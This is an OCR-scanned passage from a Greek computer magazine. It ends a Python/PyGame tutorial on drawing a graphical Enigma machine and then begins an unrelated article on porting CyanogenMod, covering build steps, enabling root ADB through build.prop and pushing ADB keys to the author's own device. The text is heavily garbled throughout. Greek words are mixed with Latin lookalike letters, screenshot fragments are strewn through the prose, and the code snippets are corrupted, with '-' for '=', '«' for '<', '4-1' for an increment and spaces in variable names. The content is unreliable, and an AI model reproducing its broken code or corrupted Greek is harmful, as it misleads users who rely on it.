offset x = thetext.get width()/2.0 + 6 * self.correction factor 
offset y - thetext.get height()/2.0 4 6 


Αλλά μισὸ Agnró! Τι εἶναι πάλι αυτό To correction factor; Av δοκιµάζατε va σχεδιά- 
σετε EVA κύκλο χρησιμοποιώντας την τεχνικἠ που χρησιμοποιούμε εδώ (κι OX! την 
συνάρτηση circle που δίνει το PyGame) θα διαπιστώνατε µε EKNANEN OT! avri για 
κύκλος προκύπτει ἐλλειψη! Βλέπετε, η οθὀνη σας δεν εἶναι τετράγωνη, δεν ἐχει 
ἴδια ανάλυση οριζόντια και κατακόρυφα. Έτσι και Ta pixels, δεν εἶναι τετραγωνάκια: 
μάλλον σε παραλληλόγραμμα φέρνουν. Ευτυχώς, το Correction. factor υπολογίζεται 
εὐκολα: 


self.correction factor - float(pygame.display.Info().current w) / pygame. 
display.Info().current h 


Ρωτάμε απλὰ το PyGame yia την ανάλυση (πλάτος & ύψος) της οθὀνης και kàvoupe 
τον παραπάνω υπολογισμὀ. Μετά ano αυτούς τους απλούς υπολογισμούς, εἰμαστε 
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σε θέση va τυπὠσουμε σωστὰ τα γράμματα περιμετρικά στον ρὀτορα. Και νομίζατε 
πως η κρυπτογράφηση εἰναι δύσκολη! 


Ευτυχώς, μετά ano όλα αυτά εἶναι εὐκολο να υπολογίσουμε ξανά τη θἐση ὀποιου 
γράμματος θέλουμε πάνω στο póropa. Αυτὀ εἶναι κἀτι που θα χρειαστούμε, npo- 
κειµένου να τονίσουμε τα γράμματα εισὀδου/εξόδου: µε κὀκκινο χρώμα kara τη 
διαδικασία cipher και µε πράσινο κατὰ τη reflectCipher. Έχουμε δύο λίστες, τις 
forward, cipher highlight και reverse cipher. highlight, που χρησιμοποιούνται ακρι- 
B&G γι’ αυτόν το σκοπὀ. Χρησιμοποιούμε τις συναρτήσεις µας printExternalLetter 
και printInternalLetter και γι΄ αυτόν το σκοπὀ, αλλάζοντας μόνο το χρώμα. Εὐκολο. 


Έχοντας πάρει φόρα µε TIG συντεταγμένες, έχουμε φτιάξει ακόµα δύο συναρτήσεις 
που µας επιστρέφουν τη θέση ενὸς γράμματος (συντεταγμένες) πάνω στον ρὀτορα. 
Αυτἠ τη χρειαζόμαστε για va τραβήξουµε γραμμὲς ano τον Eva ρότορα στον ἄλλον, 
στο ENOHEVO βήμα µας! 


Πάρτε ropa το δοκιμαστικὀ µας πρόγραμμα graphicrotor.py απὸ το πακέτο στο 
http://bit.ly/dh24enigmasrc κι εκτελέστε TO. Ἐχει μόνο vav ρὀτορα τύπου 3, ο 
οποίος φυσικὰ και περιστρέφεται KAGE φορά nou πιἐζετε Eva γράμμα. Πραγµατο- 
ποιεἰ μάλιστα και κρυπτογράφηση (ο Θεὸς να την κάνει, βέβαια). Δοκιμάστε να του 
αλλάξετε τα φώτα, εχμ, τα γράμματα, παἰζοντας µε μεταβλητὲς ὁπως το correction . 
factor, To offset, τα χρώματα κ.ά. Όταν μείνετε ικανοποιημένοι, ελάτε να δούμε την 
τελικἠ υλοποίηση. 


P1, The Enigma, Reborn! 


Rotor positions: Ring Settings: Reflector type: 


Input: THISISAREALENIGMAWITHAPLUGBOARD 
Output: RSUNVFYQVQSUCJXJLEBWKLBJDMNBWNW 


H τελική µας ἐκδοση. Όχι απαραίτητα kai η δικἠ σας, όμως. Υπάρχουν πολλά που 
μπορούν να γίνουν yia να βελτιωθεί τόσο οπτικἁ (μοιάζει OX! τόσο µε την Enigma 
των Γερμανών, αλλά µε κάποιου ταχυδακτυλουργού σε τσίρκο), όσο και λειτουρ- 
yikd. Θα χαρούμε να δούμε τη δικἠ σας εκδοχἠ kai προσθήκες. Και, γιατί ὀχι, να 
τη δημοσιεύσουμε κιόλας. 


Η τελικἠ υλοποίηση 


Όλα τα κομμάτια αυτού του περἰεργου παζλ φαίνεται να υπάρχουν πάνω στο τραπέζι 
μας και μάλιστα εἶναι κι ελαφρώς συναρμολογημένα: κρυπτογράφηση nou λειτουρ- 
yzi, γραφικοἱ ρὀτορες που περιστρέφονται, κρυπτογραφούν και δείχνουν τονισμένα 
τα ενδιαφέροντα αποτελἑσματὰ τους, text-boxes που δείχνουν εἰσοδο/έξοδο και 
μπορούν να χρησιμεύσουν κι ως κουμπάκια. Ὦρα να τα συνδέσουµε ὁλα αυτά pE- 
ταξὺ τους και να προσθέσουμε και KATI ακόμα: γραμμές που να ενώνουν τον vav 
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ρότορα pE rov ἄλλο, στα σηµεία που υπάρχει εἰσοδος/ἐξοδος. AUTO εἶναι πιο EUKOAO 
ano ὁ,τι ακούγεται. Αν deite τις συναρτήσεις cipher και reflectCipher στο τελικὀ µας 
πρὀγραμμα (κατεβάστε ro ano το http://bit.ly/dh24enigmasrc), θα διαπιστώσετε ὁτι 
υπολογίζουν κι επιστρέφουν κάποια tuples µε τις εσωτερικἐς (int. coordinates) κι 
εξωτερικἐς (ext. coordinates) συντεταγμένες των γραμμάτων nou χρησιµοποιήθη- 
καν στην κρυπτογράφηση. Ἐχοντας αυτές τις συντεταγμένες μπορούμε va τραβή- 
ἔουμε γραμμὲς ano τον Evav ρὀτορα στον ἀλλο. Δείτε αυτό το κομμάτι κὠδικα, μέσα 
στη συνάρτηση cipher του RotorAssembly class: 


(inputletter, outputletter, outpos, coord nr) = self.rotor_r. 
cipher(ord(letter) -65) 


self.drawing list.append(coord r[0]) 
self.drawing list.append(coord r[1]) 


Όπως εξηγἠσαμµε, οι συναρτήσεις cipher και reflectCipher επιστρέφουν va tuple 
της µορφής 
((50,70), (90,130)) 


ὀπου TO πρὠτο στοιχείο εἶναι Eva ...tuple µε τις συντεταγμένες του εξωτερικού 
γράμματος και το δεύτερο µε τις συντεταγμένες του εσωτερικού (ανάστροφα για 
την reflectCipher). Εδώ ξεχωρίζουμε ra tuples και Ta αποθηκεύουµε διαδοχικἁ σε µια 
λίστα drawing. list, η οποία τελικἁ θα ἐχει µορφή: 


[(50,70), (90,130), (20,56), (99, 120)...] 
Δείτε τώρα τι γίνεται στη συνάρτηση show, rou RotorAssembly class: 
if self.drawing list: 
line counter - 0 
start point = self.drawing list[0] 
for end point in self.drawing list: 
if line counter « 8: 
pygame.draw.line(surface,(255,0,0), start point, end point, 2) 
else: 
pygame.draw.line(surface,(0,255,0), start point, end point, 2) 
line counter 4-1 
start point - end point 


Ξεκινάμε va τραβάμε γραμμὲς ano το πρώτο σηµείο της λίστας self.drawing_list[O]. 
Μετράμε πόσες γραμμὲς ἐχουμε σχεδιάσει στη μεταβλητή line. counter. Όταν πε- 
ράσουμε τις ENTÀ γραμμές ἐχουμε φτάσει στο τέλος της ευθείας κρυπτογράφησης 
(προς τα αριστερἀ) και αλλάζουμε το χρώμα της γραμμἠς ano κόκκινο (255,0,0) σε 
πράσινο (0,255,0) για την ανάστροφη κρυπτογράφηση. Πολὺ απλὀ! 

Στο πρὀγραμμἁ µας (συνάρτηση main) έχουμε δημιουργήσει µια σειρά ano text- 
boxes και κουμπάκια: input/output, ring settings, rotor starting positions κ.λπ. lia 
τα κουμπάκια θα πρέπει να ελἐγχουµε στον κύριο βρὀχο av κἄποιο ἐχει πιεστεἰ. 
Ὅταν πιἑζεται το clear καθαρἰζονται μόνο το Input/Output αλλά η κατάσταση της 
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μηχανής δεν αλλάζει. Οποιοδήποτε ἄλλο πλήκτρο κι αν πιεστεἰ η μηχανὴ λαμβάνει 
τη νέα κατάσταση και γίνονται reset τα πάντα. 


Πα va εἰμαστε σε θέση va ελἐγξουµε γρήγορα, ἐχουμε βάλει όλα τα αντικείµενα που 
μπορούν να γίνουν κλικ σε µια λίστα µε την προφανἠ ονομασία clickable objects. 
Ἔτσι, μπορούμε va επεξεργαστούμε μαζικὰ ro reset: 


for theobject in clickable objects: 
if theobject.getClicked(): 
rotor assembly.resetHighlightsAndDrawings() 


coord r - [] 


Ano κει και πέρα ene&epyacóouaore χωριστά την ιδιαίτερη λειτουργία του καθενὸς. 
Καθώς η οθόνη µας ἐχει πλήθος αντικειμένων text-box τα οποία χρειάζονται τη show 
για να εμφανιστούν, έχουμε ορἰσει και µια λίστα all. objects η οποία µας επιτρέπει 
να κάνουμε ακριβὼς auro: 


for theobject in all objects: 
theobject.show(screen) 
E, ua, εἶναι va µη µας πωρώσει o αντικειµενοστρεφἠς προγραμματισμὀς :) 


Τέλος, θα παρατηρήσετε Ori η ἐκδοση περιἐχει και το PlugBoard που φτιάξαμε στο 
προηγούμενο άρθρο µας, αν και δεν υπάρχουν οι ρυθμίσεις του στο περιβάλλον 
γραφικών (µπορείτε ὅμως ν’ αλλάξετε ra plugs, τροποποιώντας τα περιεχόμενα της 
αντίστοιχης λίστας στη main). Σκεφτείτε £vav κατάλληλο τρόπο για να γίνονται 
γραφικές αλλαγές στα plugs και υλοποιήστε τον. ( Hint: µε γραμμές ἡ ακόμα περισ- 
σότερα κουτάκια text-box.) 


Με auró το άρθρο ολοκληρώνεται και η σειρἀ µας για τη μηχανὴ κρυπτογράφησης 
Enigma. Ελπίζουμε να το διασκεδάσατε Ooo και εμείς! Oa επανἐλθουµε φυσικὰ µε 
περισσότερα ano τα αγαπημένα µας θέµατα — και οι παλιοί σίγουρα ξέρετε ποια εἶναι 
αυτά! Σας ευχόμαστε πολλά δημιουργικά φθινοπωρινάἀ απογεύματα, µε ενδιαφἑρο- 
ντα προβλήματα! 
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Στο προηγούμενο άρθρο που ξεκινά ano τη σελίδα 50 εἴδαμε την προετοιμασία 
του ClockWorkMod, του τροποποιημένου recovery image που συνοδεύει το 
CyanogenMod. Το νέο recovery image προσφέρει πρὀσθετες δυνατότητες ὅπως 


το πλήρες backup της συσκευἠς και, κυρίως, διευκολύνει την εγκατάσταση και 
το debugging του νέου Android ROM. Τώρα μπορούμε να προχωρήσουμε στο 
χτίσιμο του CyanogenMod. 


κοπιώδης δημιουργία του CyanogenMod 
LLL 


Όπως έχουμε δει, η μεταγλώττιση του CyanogenMod πραγματοποιείται πανεύκολα. 
Σε αυτό το àp0po, λοιπὀν, θα KATANIGOTOUHE µετις επεμβάσεις που πρέπει να κάνουμε 
στους drivers του Elf II, @ote το CyanogenMod να λειτουργήσει στη συσκευή µας 
κανονικἀ. Όπως αντιλαμβάνεστε, σε αυτή τη φάση τα πράγματα δυσκολεύουν λἰγο. 
Απαιτείται μεράκι, χρόνος και υπομονή. Επίσης, το σημαντικότερο όλων εἰναι να 
*un* δεχτούμε την αποτυχία ως ενδεχόμενο. Εξάλλου, δεν πρέπει να ξεχνάμε Ori 
διαθέτουμε ὁλον τον πηγαίο κὠδικα ano ro εργοστασιακὀ Android ROM. Ano τα 
αρχεία του εν λόγω πακέτου θα μπορέσουμε να αντλήσουμε διάφορες κρἰσιµες 
ρυθμίσεις, ὁπως κι ολόκληρους drivers. 


To nporo boot 


Πριν προχωρήσουμε σε οποιαδήποτε επἐμβαση, οφείλουμε να τσεκάρουµε av η 
OUOKEUN µπορεί να ξεκινήσει κανονικἀ µε το CyanogenMod και τους drivers ano 
τη συμβατή συσκευή (ro Elf II). Προφανώς, στην περίπτωση που δεν ξεκινά θα 
πρέπει va μάθουμε σε ποιο σηµείο κολλάει. Μόνο τότε θα ξέρουμε --ἡ ἐστω θα 
υποψιαζόμαστε-- τι πρέπει να πειράξουμε. Πριν ξεκινήσουμε τη μεταγλώττιση 
TOU CyanogenMod πρέπει να ενημερώσουμε το σύστημα µε το path των σχετικὠν 
εργαλείων: 


$ cd cm10.1 
$ source build/envsetup.sh 


Στη συνέχεια πρέπει να κάνουμε κάτι nou παραλείψαμε νωρίτερα, εφόσον η 
προηγούμενη μεταγλώττιση του CyanogenMod ἦταν δοκιµαστικἠ. Συγκεκριµένα, 
πρέπει να κατεβάσουµε ορισμένες εφαρμογές που πλαισιώνουν το vo µας Android 
ROM και οι οποίες διατίθενται προ-μεταγλωττισμένες: 


$ cd vendor/cm 
$ ./get-prebuilt 


Αμέσως µετά μπορούμε να ξεκινήσουμε τη μεταγλώττιση: 


$ mka clean 
$ mka otapackage 


Ὅπως βλέπετε, ξεκινάμε διαγράφοντας οποιαδήποτε αρχεία εἶχαν δημιουργηθεί 
ano προηγούμενες μεταγλωττίσεις. AUTO πρέπει va το κάνουμε κάθε φορά 
που πραγματοποιούµε επεμβάσεις στον nnyaio κὠδικα κι επιχειρούμε µια νέα 
μεταγλώττιση του CyanogenMod. Κατὰ τη δεύτερη εκτέλεση του mka δηλώνουμε 
ότι επιθυμούμε τη δηµιουργία ενὸς πακέτου OTA (Over The Air). Πρόκειται για Eva 
πακέτο ZIP, το οποίο μπορούμε va εγκαταστήσουµε πανεύκολα µε τη βοήθεια του 
ClockWorkMod. Τα πακέτα ΟΤΑ χρησιμοποιούνται συνήθως για την αναβάθµιση των 
συσκευών μέσω δικτύου, αλλά στη δικἠ µας περίπτωση θα χρησιμοποιηθεἰ για την 
πλήρη αντικατάσταση του παλιού Android ROM απὀ το CyanogenMod. 


Όταν ολοκληρωθεί η μεταγλώττιση, θα βρούμετο αρχεἰο ZIP µέσα στον κατάλογο out. 
Αυτὀ το αρχεἰο θα xpeiaorei να ro avriypáuoupe στην κἆρτα SD της συσκευής. Στη 
συνέχεια, αφού τοποθετήσουµε την κἆρτα στη θέση της, αρκεἰ va ενεργοποιήσουµε 
τη συσκευἠ και va τη θέσουμε σε recovery mode. Ano το μενού του ClockWord- 
Mod επιλέγουμε To Install zip και δίνουμε το αρχείο που αντιγράψαµε στην κάρτα. 
Ὅταν ολοκληρωθεί η διαδικασία εγκατάστασης επιλέγουμε το reboot device και 
ετοιμαζόμαστε yia την πρώτη εκκἰνηση του CyanogenMod. 
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Debugging µε το ADB 


Αν εἰσαστε αρκετά τυχεροί, η συσκευἠ θα ξεκινήσει κανονικἁ και θα εμφανιστεί ο 
launcher του CyanogenMod χωρίς προβλήματα. Εμείς πάντως δεν ἡμασταν. Edo 
nou τα λέμε, όμως, ἰσως αυτά τα προβλήματα, το ψάξιμο και η επἰλυσή τους va 
αποτελούν την πραγματική τύχη :) H συσκευἠ µας, παρὀλο που εμφάνιζε ro boot 
animation του CyanogenMod, ἐμπαινε σε bootloop και δεν ξεκινούσε ποτὲ. To boot- 
loop, η ατέρµονη προσπάθεια της συσκευἠς να φορτώσει το λειτουργικό, συμβαίνει 
γιατὶ κάποιο ano Ta services του συστήµατος αποτυγχάνει να ξεκινήσει. Τα aitia 
αυτού του φαινομένου σχετίζονται συνήθως µε κάποια προβληματική ρύθμιση, 
µε την απουσία κάποιου κρίσιμου αρχείου ἡ και µε τη χρήση µιας ασύμβατης 
ἐκδοσης κάποιου driver. Οι εφαρμογἐς rou Android, όπως και το ἴδιο το σύστημα, 
αποθηκεύουν τα μηνύματά τους µε τη βοήθεια του logcat. Όπως καταλαβαίνετε, 
το εν λόγω πρὀγραμμα αποτελεἰ τον system logger rou Android. Επομένως, για va 
αποκτήσουμε πρόσβαση σε óÀa αυτά τα δεδομένα, πρέπει να αποκτήσουμε shell 
access και ano ‘Kei va τρἐξουµε ro logcat. O ευκολότερος τρὀπος yia να πετύχουμε 
κάτι τέτοιο εἶναι μέσω του ADB. Όμως, yia va χρησιμοποιήσουμε ro ADB πρέπει 
να μπούμε στις ρυθμίσεις της συσκευής και να επιτρέψουμε τη χρήση του. Πώς θα 
πετύχουμε κάτι τέτοιο µε Hid συσκευή που δεν ξεκινά καθόλου; 


To Android περιλαμβάνει µια υπηρεσία nou προσφἑρει την υποστήριξη του ADB. 
Επομένως, το πρὠτο που πρέπει να κάνουμε εἶναι να εξασφαλἰσουµε ὁτι το σύστημα 
της συσκευἠς ξεκινά αυτόματα την εν λὀγω υπηρεσία. Πα το σκοπὀ αυτὀ, πρέπει να 
ανοἰξουµε το αρχείο build.prop, που θα βρούμε στον κατάλογο cm10.1/device, και 
να προσθέσουµετις ακόλουθες γραμμὲς: 


persist.service.adb.enable-1 
service.adb.root-1 
ro.secure-o 


Y Terminal - giannoug@android-playground: ~/cm10.1 - + X 
Tabs Help 


File Edit View Terminal 
r = E j 


indroid-pla 


π. 5: μ. n 


ir 


Πριν ξεκινήσουμε οποιαδήποτε απόπειρα Χχτισίµατος του CyanogenMod, πρέπει va 
ενημερώσουμε το σύστημα µε ro path των σχετικὠν εργαλείων. Αυτό το βήμα εἰναι 
υποχρεωτικό για κάθε τερµατικὀ στο οποίο θέλουμε να εργαστούμε. 
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Σημειώστε Ori εἶναι πολύ πιθανὀ να υπάρχουν Non τα παραπάνω! Σε πολλὲς εκδοχὲς 
του Android, οι προγραμματιστές αφήνουν επἰτηδες ανοιχτὸ το ADB, για να 
διευκολύνουν το debugging. Αν βρούμε αυτούς τους ορισμούς στο συγκεκριµένο 
αρχείο, unopoüpe va προχωρήσουµεστην επόµενη ρύθμιση. Διαφορετικά, αν χρειαστεἰ 
να τους προσθέσουμε εμεὶς, πρέπει να µεταγλωττίσουμε και να εγκαταστήσουµε TO 
CyanogenMod ano την αρχή! Όπως και να χει, αµέσως μετά ἐχουμε να λύσουμε το 
ζήτημα µε τα κλειδιά κρυπτογράφησης... 


To ADB πραγµατοποιεἰ κρυπτογραφημένες συνδέσεις μεταξύ του υπολογιστή και 
της συσκευής. Ακριβώς γι’ αυτό, κατἀ την πρώτη σύνδεση του υπολογιστή µε τη 
συσκευἠ δημιουργούνται και μεταφέρονται Ta σχετικἁ κλειδιὰ κρυπτογράφησης. 
Ὅπως αντιλαμβάνεστε, ὀταν το σύστημα ἐχει βρεθεἰ σε bootloop, εἶναι αδύνατο να 
λάβει οποιοδήποτε κλειδί, απὀ οπουδήποτε. lia να ξεπεράσουμε αυτό το εμπόδιο, θα 
χρειαστεί να αντιγράψουμε τα κλειδιά χειροκίνητα! Αρχικά, για να δημιουργηθούν 
τα κλειδιά, θα επιχειρήσουμε να συνδεθούµε µέσω ADB σε µια ἄλλη συσκευἠ µε An- 
droid. Εδὠ όμως χρειάζεται λίγη προσοχή: Το σύστημα της συγκεκριμένης συσκευής 
θα πρέπει va εἶναι στην ἐκδοση 4.2 και πἀνω!. Όταν ολοκληρωθεί η σύνδεση, τα 
κλειδιά θα xouv ἠδη ετοιμαστεί και θα βρίσκονται σε ἑναν κατάλογο του υπολογιστή 
μας. Σε αυτή τη φάση μπορούμε να αποσυνδέσουµε τη δεύτερη συσκευἠ και να 
συνδέσουμετην πρώτη: Αυτή στην οποία εγκαθιστούμετο CyanogenMod. Τώρα μένει 
να ενεργοποιήσουµε το ClockWorkMod, καθώς επιτρέπει ελεύθερα τις συνδέσεις 
µέσω ADB. Ἔτσι, θα µπορέσουµε να αντιγράψουμε τα κλειδιὰ κρυπτογράφησης 
δίνοντας κάτι τέτοιο: 


$ adb push ~/.android/adbkey.pub /data/misc/adb/adb keys 


Μετὰ κι απὀ αυτό μπορούμε va £xouue πλήρη πρὀσβαση oro CyanogenMod μέσω 
του ADB, ακόµα κι όταν η φόρτωση του συστήματος δεν ολοκληρώνεται. 


P παμπ m ------- Em = a a A 


Y Terminal - giannoug@android-playground: ~/cm10.1/vendor/cm - + X 
| File Edit View Terminal Tabs Help 


propr 
proprie 


ug@android-pl 


την πρώτη φορά που θα κατεβάσουμε τον κώδικα του CyanogenMod, πρέπει 
να τρέξουµε ro get-prebuilts για va κατεβάσουμµε και τις προ-μεταγλωττισμἑνες 
εφαρμογές που το πλαισιώνουν. 


1. Οι παλιότερες εκδόσεις του Android δεν απαιτούσαν την ανταλλαγή κλειδιών! 
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Ασύμβατα modules 


Εφόσον αντιµετωπίσαμε το ζήτημα µε το ADB, επανεκκινήσαμε τη συσκευή και 
ανοΐξαμε Eva VEO τερµατικὀ στον υπολογιστή. Εκεἰ δώσαμε το εξής: 


$ adb logcat 


Με το nou πατήσαμε [Enter] ξεκίνησε µια πλημμύρα μηνυμάτων! Σύντομα 
παρατηρήσαμε OT! τα μηνύματα επαναλαμβάνονταν σε τακτά χρονικά διαστήματα, 
γεγονὸς που αποτελούσε σίγουρη ἑνδειξη ενὸς ατἑέρµονου bootloop. Μελετώντας τα 
μηνύματα συμπεράναμε ὁτι το πρὀβλημα αφορούσε σε ορισμένα kernel modules, τα 
οποία ἦταν ασύμβατα µε τον πυρήνα µας. Τα συγκεκριµένα modules σχετίζονταν µε 
To mali — το κύκλωμα γραφικών της συσκευής µας. Σαν συνέπεια, TO υποσύστημα 
γραφικών δεν ξεκινούσε και η εκτέλεση rou Android δεν μπορούσε να ολοκληρωθεί. 
Ὅπως θα θυμόσαστε, στο προηγούμενο ἆρθρο εἰχαμε πάρει τον πυρήνα ano το 
εργοστασιακὀ Android της συσκευής και τον εἶχαμε φυτέψει στον κατάλογο cm10.1/ 
device. Έτσι, εἰχαμε υποχρεώσει το CyanogenMod να ενσωματώσει τον πυρήνα 
του κατασκευαστή. H επιλογή αυτού του πυρήνα ἦταν επιβεβλημένη, WOTE τα 
αποθηκευτικἁ μέσα va μοντάρονται και να χρησιμοποιούνται µε τον σωστὸ τρὀπο. 
Επομένως, για να ξεπεράσουμε το πρόβλημα µε ro bootloop, έπρεπε να κάνουμε 
κάτι µε τα προβληματικὰ modules. E, Aoinóv, GUTO που κάναμε ἦταν απλὀ κι ἄκρως 
αποτελεσματικὀ: Αντικαταστἠσαµε ra kernel modules που παρουσίαζαν πρὀβλημα, 
µε τα αντίστοιχα ano rov nnyaio κὠδικα του κατασκευαστή! Τα προβληματικἁ ker- 
nel modules βρίσκονταν στον κατάλογο cm10.1/device/elf2/proprietary/mali, ενώ 
τα αντίστοιχα modules απὀ τον nnyaio κὠδικα του κατασκευαστή βρἰσκονταν 


Lx $7300 - File Manager c e 
File Edit View Go Help 
[84 /home/giannoug/cm10.1/out/target/product/s7300/ e | 
DEVICES 
— a m m m a 
FA Floppy Disk data external recovery root 
PLACES 
d secos = = 
5 top. symbols android-info.txt boot.img clean_steps.mk 
ᾗ Trash 
NETWORK adm x 
lana c B 
Browse Network 
* cm s7300-ota-  installed-files.txt kernel previous build co ramdisk.img 
eng.giannoug.zip nfig.mk 
a m 
ramdisk- ramdisk- recovery.img system.img userdata.img 
recovery.cpio recovery.img 
20 items (471,9 MB), Free space: 182,6 GB ME k 4 


L 


To OTA ZIP εἶναι ἐτοιμο! Πα τη δημιουργία του περιμέναμε περίπου μία ώρα. Τώρα, αρκεί 
va ro αντιγράψουµε στην κάρτα SD της συσκευής µας και να το εγκαταστήσουµε µε τη 
βοήθεια του ClockWorkMod. 
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from zip file 


install zip from sideload 
apply /sdcard/update.zip 
toggle signature verification 
- choose zip from internal sdcard 


CHM-based Recovery by giannoug v6.0.3.6 
Warning: No file contexts 


H επιλογή «choose zip from SD card» eyka8iorá οποιοδήποτε update zip έχουμε 
τοποθετήσει στην κάρτα μνήμης της συσκευής. 


στη θέση hardware/amlogic/proprietary/mali. Μετά anó τη σχετικἠ αντιγραφή, 
µεταγλωττίσαμε το CyanogenMod εκ νέου kai το εγκαταστήσαμε στη συσκευἠ. Αυτή 
τη φορὰ το σύστημα ξεκἰνησε kavovikd, αν και πολύ γρήγορα συνειδητοποιήσαµε 
ότι υπήρχαν κι ἄλλα προβλήματα. 


Πριν προχωρήσουμε, πρέπει να σημειώσουμε ὁτι δεν ἐχει καμία αξία να 
απομνημονεύετε τους καταλόγους που αναφέρουμε, οὐτε τα προβλήματα και τις 
συγκεκριμένες λύσεις. To σηµαντικὀ εἶναι να κατανοήσετε τη λογική µε την οποία 
εργαστήκαµε, ὥστε va εἰστε σε θέση να αντιμετωπίσετε KAGE πρὀβληµα που 
ενδέχεται να προκύψει. 


Ασύρματη δικτύωση 


Το πρώτο ζήτημα που θελήσαμε να αντιμετωπίσουμε αφορούσε στο WiFi. H συμβατή 
συσκευἠ (Elf II) nou χρησιμοποιήσαμε για το χτίσιμο του CyanogenMod, διαθέτει 
Eva ἄσχετο κύκλωμα WiFi. Πα την επἰλυση αυτού του προβλήματος ξεκινήσαμε 
διαγράφοντας ano τα αρχεία BoardConfig.mk και AndroidProducts.mk κάθε αναφορά 
προς το κύκλωμα ασύρματης δικτύωσης. Τα συγκεκριµένα αρχεία βρίσκονται στον 
κατάλογο cm10.1/device κι and ro περιεχὀμενότους αφαιρἐσαµε πλήρωςτις ενότητες 
"wifi". Στη συνέχεια διαγράψαμε κι όλα τα αρχεία Tou driver, που κατοικούσαν στον 
κατάλογο cm10.1/device/elf2/wifi. Με αυτά τα βήματα αφαιρέσαμε πλήρως rov driv- 
er για το άσχετο κύκλωμα WiFi και ἡμασταν ἐτοιμοι να προσθέσουμε τον σωστόὀ. 


i’ αυτόντον "σωστό driver" στραφἠκαμε(πἀλι) στον πηγαἰο koóika TOU εργοστασιακού 
Android. Τα ζητούμενα αρχεία βρίσκονταν στον κατάλογο hardware/wifi και ano 
‘kel τα αντιγράψαμε στη θέση cm10.1/device/elf2/wifi. Στη συνέχεια, ανοἰξαµε το 
BoardConfig.mk που βρήκαμε στον πηγαίο κὠδικα του εργοστασιακού Android, 
μεταβήκαμε στην ενότητα wifi κι αντιγράψαμε τα πάντα στην ομώνυμη ενότητα του 


79 


VHAGKER 


ÁN 


Σε περίπτωση που πέσουµε σε bootloop, η συσκευή θα δείχνει 
συνεχώς το λογότυπο του CyanogenMod και δεν 0a ξεκινά! Πα va 
προχωρήσουμε θα πρέπει να λύσουμε κάθε σχετικὀ πρὀβλημα... 


αρχείου cm10.1/device/BoardConfig.mk. Ουσιαστικά, µε αυτές τις δύο αντιγραφές 
η προσθήκη rou driver ολοκληρώθηκε! Ωστόσο, όταν αλλάζουμε driver για κἄποιο 
κύκλωμα δικτύωσης, πρέπει να εἰμαστε προσεκτικοἰ µε το ὀνομα που αποδίδεται 
στο αντίστοιχο interface. Στη δικἠ µας περίπτωση, τόσο o πηγαίος κὠδικας του 
κατασκευαστή, ὁσο και ο κὠδικας για TO Elf II, αναφέρονταν στο κύκλωμα ασύρματης 
δικτύωσης ως wlanO. Αν άλλαζε το ὀνομα, θα έπρεπε να ενημερώσουμε κατάλληλα 
τη σχετικἠ ενότητα oro BoardConfig.mk, ὥστε η ονομασία να συμβαδίζει µε εκεἰνη 
της "νέας" συσκευής (στην περἱπτωσή µας To Elf II). Κάτι τέτοιο εἰναι απολύτως 
anapairnro, διότι το ὀνομα του δικτυακού interface χρησιμοποιείται σε πολλά αρχεία 
του συστήματος. Αν αποφασἰζαµε να χρησιμοποιήσουμε κάποιο ἆλλο ὀνομα, θα ἦταν 
δύσκολο να βρούμε *OAEG* τις σχετικὲς αναφορὲς και να τις διορθώσουμε. 


Μετὰ an’ aurr| την επἐμβαση ακολουθήσαμε τη γνωστή διαδικασία: Μεταγλωττίσαμε 
To CyanogenMod ano την αρχὴ και το εγκαταστήσαμε στη συσκευή. Περιττὀ να σας 
πούμε Ori η εργασἰα µας στἐφθηκε µε επιτυχία :) 


Αυτόματη περιστροφἠ 


Το επόμενο πρὀβλημα που θελήσαμε να διορθώσουμε εἰχε να κἀνει µε την οθόνη 
και τον τρόπο προβολἠς. Αλλάζοντας rov προσανατολισμὀ της συσκευής, TO 
περιεχόμενο της οθόνης δεν προσαρμοζόταν πάντα µε TO σωστό τρὀπο κι ορισμένες 
Φορές εμφανίζονταν όλα ανάποδα! Με λίγο ψάξιμο, διαπιστώσαμε ὁτι τόσο η δικἠ 
μας συσκευἠ, OOO και εκείνη στης οποίας τον κὠδικα εἰχαμε στηριχτεἰ (Elf II), 


aa 


H καπιώδης ànutoupy 
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διέθεταν ακριβώς Tov ἰδιο αισθητήρα 
επιτάχυνσης (Bosch BMA250). Έτσι, 
αυτή τη φορὰ η λύση δεν θα δινόταν 
µε µια απλἠ αντιγραφή. Συνεχίζοντας 
την αναζήτηση, καταλήξαμε orm το 
αἰτιο βρισκόταν στην τοποθέτηση του 
αισθητήρα πάνω στην πλακέτα της 
συσκευής. Μπορεί οι δύο συσκευὲς να 
διαθέτουν το ἰδιο τσιπάκι, αλλά η θέση 
του ως προς την οθόνη εἶναι διαφορετικἠ 
σε κάθε υλοποίηση: Στη pia συσκευἠ 
βρίσκεται στην ἴδια πλευρά της πλακέτας 
µε την οθὀνη, ενώ στην ἄλλη βρἰσκεται 
στην πίσω πλευρά της πλακέτας. 
H διαφορὰ στον προσανατολισμὸ 
του αισθητήρα συνεπάγεται και µια 
αντἰστοιχη διαφορά στο nog ορἰζονται 
οι άξονες X, y, Z και κατ’ επἐκταση, στη 
μετρούμενη επιτάχυνση ava ἆξονα. 


Τα ευρήματα αυτής της μελέτης δεν 
μας ἀρεσαν καθόλου. Νιώθαμε Ori 
βρισκόμαστε μπροστὰ σε αδιέξοδο. 
Ano την απελπισία, εἶχαμε αρχίσει να 
μελετάμε το αρχείο µε rov κὠδικα για 
τους αισθητήρες (sensors.cpp). H τύχη 
όµως στάθηκε µε το μέρος µας. Κάπου, 
µέσα στον κὠδικα, συναντήσαμε ἑνα 
σχόλιο που αφορούσε στην τοποθέτηση 
του αισθητήρα: 


/* 

gspos: 

O:x = X, y γι Z=2Z 
1:x ὝὝν Y= X, Z=Z 
2:X = -X, y=-y, Z =Z 
3:X = y, y=-X, Z=Z 
4:X = -X, y= γ, Z= -Z 
5:X = -y, y = -X, Z = -Z 
6:X = X, y = -y, Z = -Z 
7:x= y¥%, Y= X, Z= -Z 
*/ 


Allow USB debugging? 


The computer's RSA key 
fingerprint is: 
68:4D:9C:6E:2D:9B:67:04:DE:02:7C 
:07:8B:B5:2B:BE 


Always allow from this computer 


Cancel 


Πα τη δηµιουργία των κλειδιών κρυπτογράφησης 
που απαιτεί το ADB, χρησιµοποιήσαµε µια δεύτερη 
συσκευἠ µε TO Android 4.2. 


Ὅπως εἰπαμε και προηγουμένως, η τοποθέτηση του αισθητήρα επηρεάζει το nog 
ορίζονται οι ἄξονες x, y και z. Το παραπάνω σχόλιο, λοιπὀν, φαίνεται ὁτι περιγράφει 
